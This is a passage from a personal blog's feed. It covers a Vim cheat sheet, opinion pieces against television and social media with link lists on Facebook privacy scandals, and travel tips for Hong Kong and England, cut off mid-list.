&lt;li&gt;&lt;code&gt;di[&lt;/code&gt;: delete between square brackets&lt;/li&gt;
&lt;li&gt;&lt;code&gt;va"&lt;/code&gt;: visually select all inside doublequotes (including doublequotes)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;3dd&lt;/code&gt; is equal to &lt;code&gt;d2j&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;3J&lt;/code&gt;: join the next three lines into 1 line&lt;/li&gt;
&lt;li&gt;&lt;code&gt;d5}&lt;/code&gt;: delete from the current line through the end of the fifth paragraph down from here&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="registers"&gt;Registers&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;:reg&lt;/code&gt;: access the registers&lt;/li&gt;
&lt;li&gt;&lt;code&gt;i&lt;/code&gt; (insert mode) then &lt;code&gt;^r&lt;/code&gt; and a register letter to paste from it, instead of &lt;code&gt;"{register}p&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;m{register}&lt;/code&gt;: mark a cursor position in some register&lt;/li&gt;
&lt;li&gt;&lt;code&gt;`{register}&lt;/code&gt;: go back to the marked position&lt;/li&gt;
&lt;li&gt;&lt;code&gt;'{register}&lt;/code&gt;: go to beginning of line where there is the marked position&lt;/li&gt;
&lt;li&gt;&lt;code&gt;d`a&lt;/code&gt;: delete from here to position marked in register 'a'&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="autocomplete-in-insert-mode"&gt;Autocomplete (in insert mode)&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;^x^n&lt;/code&gt;: for just this file&lt;/li&gt;
&lt;li&gt;&lt;code&gt;^x^f&lt;/code&gt;: for filenames&lt;/li&gt;
&lt;li&gt;&lt;code&gt;^x^]&lt;/code&gt;: for tags only&lt;/li&gt;
&lt;li&gt;&lt;code&gt;^x^l&lt;/code&gt;: whole lines&lt;/li&gt;
&lt;li&gt;&lt;code&gt;^n&lt;/code&gt; and &lt;code&gt;^p&lt;/code&gt;: go back and forth in the suggestion list&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;(&lt;code&gt;^n&lt;/code&gt; is disabled by YouCompleteMe.)&lt;/p&gt;
&lt;h1 id="regex"&gt;Regex&lt;/h1&gt;
&lt;h2 id="interactive-find-and-replace"&gt;Interactive find and replace&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;:%s/foo/bar/gc
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;%&lt;/code&gt; means whole document, not just the current line.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/g&lt;/code&gt; means every occurence, not just the first one. &lt;code&gt;/c&lt;/code&gt; is the interactive option.&lt;/p&gt;
&lt;h2 id="capturing-groups"&gt;Capturing groups&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;:%s/abc&lt;span class="se"&gt;\(&lt;/span&gt;def&lt;span class="se"&gt;\)&lt;/span&gt;ghi/ko&lt;span class="se"&gt;\1&lt;/span&gt;ok/g
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Will print &lt;code&gt;kodefok&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="non-greedy-search"&gt;Non-greedy search&lt;/h2&gt;
&lt;p&gt;Normally, to search in a non-greedy way, we add a punctuation mark, as in &lt;code&gt;.*?&lt;/code&gt; which means &lt;em&gt;any string of characters as short as possible&lt;/em&gt;. For instance:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;/&amp;lt;.&amp;gt;&lt;span class="o"&gt;(&lt;/span&gt;.*?&lt;span class="o"&gt;)&lt;/span&gt;&amp;lt;.&amp;gt;/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Applied to the string &lt;code&gt;abc&amp;lt;p&amp;gt;def&amp;lt;a&amp;gt;ghi&amp;lt;b&amp;gt;jkl&lt;/code&gt; would match &lt;code&gt;&amp;lt;p&amp;gt;def&amp;lt;a&amp;gt;&lt;/code&gt; and capture &lt;code&gt;def&lt;/code&gt;. To make non-greedy searches with Vim, replace &lt;code&gt;*?&lt;/code&gt; with &lt;code&gt;\{-}&lt;/code&gt;.&lt;/p&gt;
&lt;h1 id="misc"&gt;Misc&lt;/h1&gt;
&lt;h2 id="split-the-screen-in-half-and-display-two-different-parts-of-a-given-file"&gt;Split the screen in half and display two different parts of a given file&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;:vsp
:set scrollbind
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then, on the right pane, scroll down or up, further in the file, and do:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;:set scrollbind
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;From that point on, as you scroll on one pane, the other one will follow. To undo:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;:set noscrollbind
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="other"&gt;Other&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;v&lt;/code&gt;: visually select (enters visual mode)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.&lt;/code&gt;: repeat the last command&lt;/li&gt;
&lt;li&gt;&lt;code&gt;~&lt;/code&gt;: invert the case for current char&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/&lt;/code&gt;: search something (c/myvar, delete and insert from here to myvar)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;:earlier 2m&lt;/code&gt;: go back to state in history that is 2 minutes old&lt;/li&gt;
&lt;li&gt;&lt;code&gt;:cl&lt;/code&gt;: to list errors&lt;/li&gt;
&lt;li&gt;&lt;code&gt;:cc#&lt;/code&gt; to jump to error number #&lt;/li&gt;
&lt;li&gt;&lt;code&gt;:cn&lt;/code&gt; and &lt;code&gt;:cp&lt;/code&gt;: to navigate forward and back&lt;/li&gt;
&lt;li&gt;&lt;code&gt;:help ^n&lt;/code&gt;: to know about what ctrl n does&lt;/li&gt;
&lt;li&gt;&lt;code&gt;:help c_^n&lt;/code&gt;: ctrl n in command mode&lt;/li&gt;
&lt;li&gt;&lt;code&gt;:help i_^n&lt;/code&gt;, &lt;code&gt;:help v_^n&lt;/code&gt;: ctrl n in insert mode or visual mode&lt;/li&gt;
&lt;li&gt;&lt;code&gt;:helpgrep whatever&lt;/code&gt;: search in all documentation, then use :cl, :cc, :cp, :cn&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="useful-links"&gt;Useful links&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://vim.rtorr.com/"&gt;Vim Cheat Sheet&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://vimgifs.com/"&gt;Vimgifs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://danielallendeutsch.com/blog/2-vim-navigation-commands.html"&gt;Vim Navigation Commands: sequences you have no excuse not to know&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://learnvimscriptthehardway.stevelosh.com/"&gt;Learn Vimscript the Hard Way&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=XA2WjJbmmoM"&gt;How to Do 90% of What Plugins Do (With Just Vim)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://sanctum.geek.nz/arabesque/vim-anti-patterns/"&gt;Vim anti-patterns&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Valloric/YouCompleteMe/wiki/Building-Vim-from-source"&gt;Building Vim from source&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://spacevim.org/2017/02/11/use-vim-as-a-java-ide"&gt;Use Vim as a Java IDE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/garbas/vim-snipmate"&gt;SnipMate&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://vim.wikia.com/wiki/Auto_closing_an_HTML_tag"&gt;Auto closing an HTML tag&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.quora.com/What-is-the-best-JavaScript-programming-language-setup-with-Vim-text-editor"&gt;What is the best JavaScript (programming language) setup with Vim (text editor)?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://vimcasts.org/"&gt;Vimcasts&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.catonmat.net/blog/why-vim-uses-hjkl-as-arrow-keys/"&gt;Here is why vim uses the hjkl keys as arrow keys&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=lwD8G1P52Sk"&gt;Your First Vim Plugin&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=5r6yzFEXajQ"&gt;vim + tmux - OMG!Code&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://stackoverflow.com/questions/1218390/what-is-your-most-productive-shortcut-with-vim"&gt;What is your most productive shortcut with Vim?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/nicknisi/dotfiles"&gt;nicknisi/dotfiles&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/shawncplus/dotfiles"&gt;shawncplus/dotfiles&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.freecodecamp.org/learn-linux-vim-basic-features-19134461ab85"&gt;Why I love Vim: It’s the lesser-known features that make it so amazing&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Linux"></category><category term="vim"></category><category term="vi"></category><category term="linux"></category></entry><entry><title>TV Sucks</title><link href="https://romainpellerin.eu/tv-sucks.html" rel="alternate"></link><published>2017-01-16T02:50:00+01:00</published><updated>2017-06-05T22:49:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2017-01-16:/tv-sucks.html</id><summary type="html">&lt;p&gt;What I think of television&lt;/p&gt;</summary><content type="html">&lt;p&gt;Ads. I hate ads. And TV broadcasts a shit ton of commercials.&lt;/p&gt;
&lt;p&gt;Worse, TV channels speed up TV shows and movies. What for? Ads again. The French do it, and the Americans as well. As a result, movies are shortened and constantly interrupted by commercials.&lt;/p&gt;
&lt;h2 id="us"&gt;US&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.engadget.com/2015/02/19/cable-networks-speeding-up-shows/"&gt;How cable networks speed up shows to squeeze in more ads&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.wsj.com/articles/cable-tv-shows-are-sped-up-to-squeeze-in-more-ads-1424301320"&gt;Cable TV Shows Are Sped Up to Squeeze in More Ads&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="france"&gt;France&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://tvmag.lefigaro.fr/le-scan-tele/actu-tele/2015/01/29/28001-20150129ARTFIG00350-pourquoi-les-films-ne-durent-pas-le-meme-temps-a-la-television-et-au-cinema.php"&gt;Pourquoi les films ne durent pas le même temps à la télévision et au cinéma&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.lesaviezvous.net/art/un-film-a-la-television-est-plus-court-qu%E2%80%99en-cinema.html"&gt;Un film à la télévision est plus court qu’en cinéma&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Still unconvinced? Most companies operating radio and television are biased. By "most" I mean 99% of them. They are not objective at all, often influenced by political parties.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://vimeo.com/141362885"&gt;Les Nouveaux Chiens de Garde&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.monde-diplomatique.fr/cartes/ppa"&gt;Médias français : qui possède quoi&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I could also add, without going too much into detail, that:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We are constantly being told lies (commercials for cigarettes, Chernobyl radioactive clouds over Europe, etc.)&lt;/li&gt;
&lt;li&gt;Most shows are incredibly shitty and for dump people: Supernanny, stupid games for uneducated people&lt;/li&gt;
&lt;li&gt;News channels are to be avoided like the plague: only live and breaking news never verified, no sources, Man on the street interviews are useless, irelevant and misleading. Likewise, these channels focus way too much on terrorism, immigrants, financial crises, and so on.&lt;/li&gt;
&lt;li&gt;Dubbed movies. Seriously? Would you listen to foreign music translated in you native language? Sound is 80% of a movie. Not to mention that most dubs sound terrible.&lt;/li&gt;
&lt;li&gt;The same can be said about coverages: why dub a foreigner? Why not just add subtitles?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now that you know the truth, help me boycott television. Even though a few shows are worth your time, you can watch them online after their broadcast for free. &lt;a href="http://www.lagrottedubarbu.com/2013/07/25/pourquoi-je-me-suis-resolu-a-boycotter-massivement-les-medias-traditionnaux/"&gt;This article&lt;/a&gt;, written in French, sums up quite well my thoughts regarding television.&lt;/p&gt;</content><category term="What's bad about"></category><category term="television"></category></entry><entry><title>Social Media Are Not Worth Your Time</title><link href="https://romainpellerin.eu/social-media-are-not-worth-your-time.html" rel="alternate"></link><published>2017-01-11T19:00:00+01:00</published><updated>2023-03-11T18:39:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2017-01-11:/social-media-are-not-worth-your-time.html</id><summary type="html">&lt;p&gt;What I think about most social media&lt;/p&gt;</summary><content type="html">&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=3E7hkPZ-HTk"&gt;Quit social media | Dr. Cal Newport | TEDxTysons&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stallman.org/facebook.html"&gt;Reasons not to use Facebook&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.salimvirani.com/facebook/"&gt;Get your loved ones off Facebook.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@intideceukelaire/why-you-shouldnt-share-links-on-facebook-f317ba4aa58b"&gt;Why you shouldn’t share links on Facebook&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://nickbriz.com/facebook/"&gt;How To / Why Leave Facebook&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.timewellspent.io/"&gt;Time Well Spent&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://washingtonmonthly.com/magazine/january-february-march-2018/how-to-fix-facebook-before-it-fixes-us/"&gt;How to Fix Facebook—Before It Fixes Us&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.joelonsoftware.com/2018/01/12/birdcage-liners/"&gt;Birdcage liners&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.theguardian.com/society/2017/apr/09/social-networks--children-chat-feel-less-happy-facebook-instagram-whatsapp"&gt;Revealed: the more time that children chat on social media, the less happy they feel&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://twitter.com/dylanmckaynz/status/976368845635035138"&gt;Downloaded my facebook data as a ZIP file - Somehow it has my entire call history with my partner's mum&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://arstechnica.com/information-technology/2018/03/facebook-scraped-call-text-message-data-for-years-from-android-phones/"&gt;Facebook scraped call, text message data for years from Android phones&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://twitter.com/iamdylancurran/status/977559925680467968"&gt;Want to freak yourself out? I'm gonna show just how much of your information the likes of Facebook and Google store about you without you even realising it&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.theguardian.com/commentisfree/2018/mar/28/all-the-data-facebook-google-has-on-you-privacy"&gt;Are you ready? Here is all the data Facebook and Google have on you&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.cnbc.com/2018/04/05/facebook-building-8-explored-data-sharing-agreement-with-hospitals.html"&gt;Facebook sent a doctor on a secret mission to ask hospitals to share patient data&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.bloomberg.com/news/articles/2018-04-04/facebook-scans-what-you-send-to-other-people-on-messenger-app"&gt;Facebook Scans the Photos and Links You Send on Messenger&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.wired.com/story/whats-not-included-in-facebooks-download-your-data/"&gt;What's Not Included in Facebook's 'Download Your Data'&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/s/story/yes-you-should-delete-facebook-heres-why-bc623a3b4625"&gt;Yes, You Should Delete Facebook&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.theverge.com/2018/4/28/17293056/facebook-deletefacebook-social-network-monopoly"&gt;I tried leaving Facebook. I couldn’t&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.newscientist.com/article/2168713-huge-new-facebook-data-leak-exposed-intimate-details-of-3m-users/"&gt;Huge new Facebook data leak exposed intimate details of 3m users&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reuters.com/article/us-facebook-privacy-congress/facebook-confirms-data-sharing-with-chinese-companies-idUSKCN1J11TY"&gt;Facebook confirms data sharing with Chinese companies&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.vice.com/amp/fr/article/wjbzzy/votre-telephone-vous-ecoute-ce-nest-pas-de-la-paranoia"&gt;Votre téléphone vous écoute, ce n’est pas de la paranoïa&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reuters.com/article/us-facebook-encryption-exclusive/u-s-government-seeks-facebook-help-to-wiretap-messenger-sources-idUSKBN1L226D"&gt;Exclusive: U.S. government seeks Facebook help to wiretap Messenger - sources&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.eff.org/deeplinks/2018/12/httpstwittercommontereya"&gt;New Documents Show That Facebook Has Never Deserved Your Trust&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://m.signalvnoise.com/become-a-facebook-free-business-5bfefc20c09d"&gt;Become A Facebook-Free Business&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gizmodo.com/turning-off-facebook-location-tracking-doesnt-stop-it-f-1831149148"&gt;Turning Off Facebook Location Tracking Doesn't Stop It From Tracking Your Location&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.eff.org/deeplinks/2018/12/facebooks-latest-scandal-shows-we-need-stronger-privacy-laws"&gt;Facebook’s Latest Scandal Shows We Need Stronger Privacy Laws&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.wired.com/story/facebook-data-sharing-privacy-investigation/"&gt;Why Should Anyone Believe Facebook Anymore?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.theverge.com/platform/amp/2018/12/18/18147616/facebook-user-data-giveaway-nyt-apple-amazon-spotify-netflix"&gt;Facebook gave Spotify and Netflix access to users’ private messages&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.buzzfeednews.com/article/ryanmac/literally-just-a-big-list-of-facebooks-2018-scandals"&gt;Literally Just A Big List Of Facebook’s 2018 Scandals&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://techcrunch.com/2019/01/26/the-facts-about-facebook/"&gt;The facts about Facebook&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://techcrunch.com/2019/01/30/googles-also-peddling-a-data-collector-through-apples-back-door/"&gt;Google will stop peddling a data collector through Apple’s back door&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://techcrunch.com/2019/01/29/facebook-project-atlas/"&gt;Facebook pays teens to install VPN that spies on them&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.cnbc.com/2019/02/14/facebooks-security-team-tracks-posts-location-for-bolo-threat-list.html"&gt;Facebook uses its apps to track users it thinks could threaten employees and offices&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.wsj.com/articles/you-give-apps-sensitive-personal-information-then-they-tell-facebook-11550851636"&gt;You Give Apps Sensitive Personal Information. Then They Tell Facebook.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.computerweekly.com/news/252458208/Facebook-planned-to-spy-on-Android-phone-users-internal-emails-reveal"&gt;Facebook planned to spy on Android phone users, internal emails reveal&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.wsj.com/articles/facebook-ads-will-follow-you-even-when-your-privacy-settings-are-dialed-up-11551362400"&gt;Why Facebook Still Seems to Spy on You&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.developpez.com/actu/250098/Un-lyceen-s-administre-des-vaccins-contre-l-avis-de-sa-mere-qui-s-appuyait-sur-une-source-Facebook-un-cas-qui-n-est-probablement-pas-isole/"&gt;Un lycéen s'administre des vaccins contre l'avis de sa mère qui s'appuyait sur une source : Facebook&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.businessinsider.fr/us/facebook-uploaded-1-5-million-users-email-contacts-without-permission-2019-4"&gt;Facebook says it 'unintentionally uploaded' 1.5 million people's email contacts without their consent&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.wired.com/story/facebook-mark-zuckerberg-15-months-of-fresh-hell/"&gt;15 Months of Fresh Hell Inside Facebook&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.theverge.com/2019/6/19/18681845/facebook-moderator-interviews-video-trauma-ptsd-cognizant-tampa"&gt;Facebook moderators break their NDAs to expose desperate working conditions - The Verge&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.stopusingfacebook.co/"&gt;Stop Using Facebook&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.ft.com/content/0e2f6f8e-bb03-4fa7-8864-f48f576167d2"&gt;Smartphones and social media are destroying children’s mental health&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="2018-facebook-cambridge-analytica-data-scandal"&gt;2018 Facebook Cambridge Analytica data scandal&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.forbes.com/sites/kathleenchaykowski/2018/03/21/mark-zuckerberg-addresses-breach-of-trust-in-facebook-user-data-crisis/#265ae103e367"&gt;Mark Zuckerberg Addresses 'Breach Of Trust' In Facebook User Data Crisis&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.recode.net/2018/3/23/17153368/facebook-cambridge-analytica-mark-zuckerberg-lauren-goode-kara-swisher-kurt-wagner-recode-podcast"&gt;Facebook and Cambridge Analytica: What just happened?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.telegraph.co.uk/technology/2018/03/23/elon-musk-deletes-facebook-following-cambridge-analytica-scandal/"&gt;Elon Musk deletes Facebook following Cambridge Analytica scandal&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=9kpKDaF3IFw"&gt;Envoyé spécial. Facebook, l'envers du réseau - 12 avril 2018 (France 2)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.buzzfeednews.com/article/craigsilverman/facebook-ignore-political-manipulation-whistleblower-memo"&gt;Whistleblower Says Facebook Ignored Global Political Manipulation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="What's bad about"></category><category term="social media"></category><category term="facebook"></category></entry><entry><title>Hong-Kong</title><link href="https://romainpellerin.eu/hong-kong.html" rel="alternate"></link><published>2017-01-10T15:48:00+01:00</published><updated>2017-07-01T21:08:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2017-01-10:/hong-kong.html</id><summary type="html">&lt;p&gt;My advice about traveling to Hong-Kong&lt;/p&gt;</summary><content type="html">&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/PEsLx0AJC2c?rel=0" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;

&lt;p&gt;The above is a video from my trip in Hong-Kong, in 2016. We stayed at &lt;a href="https://www.tripadvisor.com/Hotel_Review-g294217-d1648655-Reviews-Oi_Suen_Guesthouse-Hong_Kong.html"&gt;Oi Suen Guesthouse&lt;/a&gt;, located at 83 Argyle Street (8th Floor).&lt;/p&gt;
&lt;h1 id="things-to-know-before-going-there"&gt;Things to know before going there&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;They drive on the left, because it is a British colony.&lt;/li&gt;
&lt;li&gt;Just like most countries in East Asia, they have convenience stores everywhere. Most of them are open 24/7.&lt;/li&gt;
&lt;li&gt;For transportation, buy an Octopus card. It is refundable (a charge will be applied though). You can also use it in many shops as a payment method.&lt;/li&gt;
&lt;li&gt;There is free Wi-Fi at subway stations.&lt;/li&gt;
&lt;li&gt;Most people speak good English.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="things-to-do"&gt;Things to do&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Victoria Peak (known as The Peak) offers an incredible view of the city. You can either take a bus or a taxi to get there. The latter option is not so expensive if the cost is split between several people. &lt;strong&gt;Pro tip&lt;/strong&gt;: go there right before sunset to enjoy the view during daytime and at night. Do not forget to go to the highest point for a few dollars.&lt;/li&gt;
&lt;li&gt;A market, like Ladies Market.&lt;/li&gt;
&lt;li&gt;Tian Tan Buddha (aka the Big Buddha). Get there by taking the Ngong Ping 360 (an aerial tramway).&lt;/li&gt;
&lt;li&gt;Star Ferry Pier at Tsim Sha Tsui (view over Hong Kong's bay). If you can afford it, go for &lt;a href="http://www.discoverhongkong.com/eng/see-do/tours-walks/guided-tours/victoria-harbour/SOL-harbour-cruise.jsp"&gt;a harbour cruise and attend the Symphony of Lights show at 8pm&lt;/a&gt; (price: 200 HKD).&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="links"&gt;Links&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.nytimes.com/2017/06/29/world/asia/hong-kong-china-handover.html"&gt;Once a Model City, Hong Kong Is in Trouble&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Travels"></category><category term="travel"></category><category term="hong-kong"></category><category term="china"></category></entry><entry><title>England</title><link href="https://romainpellerin.eu/england.html" rel="alternate"></link><published>2017-01-10T01:01:00+01:00</published><updated>2022-09-24T12:11:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2017-01-10:/england.html</id><summary type="html">&lt;p&gt;What to do and see in England&lt;/p&gt;</summary><content type="html">&lt;p&gt;England is so much more than just England. This article sums up my past trips and my advice about what to do or see there.&lt;/p&gt;
&lt;h1 id="london"&gt;London&lt;/h1&gt;
&lt;p&gt;London is to England what Paris is to France, plus the shittier weather minus all the monuments. It's a brilliant mix of new and old buildings, pop culture and traditions. All in all, here is my advice on what to do in London:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;London Eye&lt;/li&gt;
&lt;li&gt;Big Ben&lt;/li&gt;
&lt;li&gt;Buckingham Palace (go see Changing the Guard)&lt;/li&gt;
&lt;li&gt;Tower Bridge&lt;/li&gt;
&lt;li&gt;The British Museum (it's free!)&lt;/li&gt;
&lt;li&gt;The Shard&lt;/li&gt;
&lt;li&gt;30 St Mary Axe&lt;/li&gt;
&lt;li&gt;The Walkie-Talkie (aka 20 Fenchurch Street) and most specifically the Sky Garden: check out the opening hours cause walk-in guest access is restricted. Booking in advance is advised (it's free!).&lt;/li&gt;
&lt;li&gt;Camden Town (cool district!)&lt;/li&gt;
&lt;li&gt;Tate Modern (awesome modern art gallery)&lt;/li&gt;
&lt;li&gt;Harrods (luxury department store)&lt;/li&gt;
&lt;li&gt;Platform 9 3/4 and the Harry Potter shop, at King's Cross&lt;/li&gt;
&lt;li&gt;Tower of London (aka Her Majesty's Royal Palace and Fortress of the Tower of London): the Jewel House is truly amazing!&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="advice-for-first-time-visitors"&gt;Advice for first-time visitors&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;No need to tag off when getting off buses unless you want to get charged twice&lt;/li&gt;
&lt;li&gt;Sometimes, buying an Oyster card is more expensive than a 1-day travelcard (around 12 pounds if my memory serves well). It's a paper ticket that allows you to ride buses, tram and the tube within the London travel zones, anytime after 9:30am Mondays to Fridays and all day on weekends.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="manchester"&gt;Manchester&lt;/h1&gt;
&lt;p&gt;&lt;img alt="Manchester" src="https://romainpellerin.eu/images/manchester.jpg"&gt;&lt;/p&gt;
&lt;p&gt;A beautiful small city, with a lot of industrial legacy. A couple of interesting stuff to do:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Beetham Tower&lt;/li&gt;
&lt;li&gt;Check the pubs out, some of them have live bands playing at night, pretty much like in Ireland&lt;/li&gt;
&lt;li&gt;Museum of Science and Industry&lt;/li&gt;
